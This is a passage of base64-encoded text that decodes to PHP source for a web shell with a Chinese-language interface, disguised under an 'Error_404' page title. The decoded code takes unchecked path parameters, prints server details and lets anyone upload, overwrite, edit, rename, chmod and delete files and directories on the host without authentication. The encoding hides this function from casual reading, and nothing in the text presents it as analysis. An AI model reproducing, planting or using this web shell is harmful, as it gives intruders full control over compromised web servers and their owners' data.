Jhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkw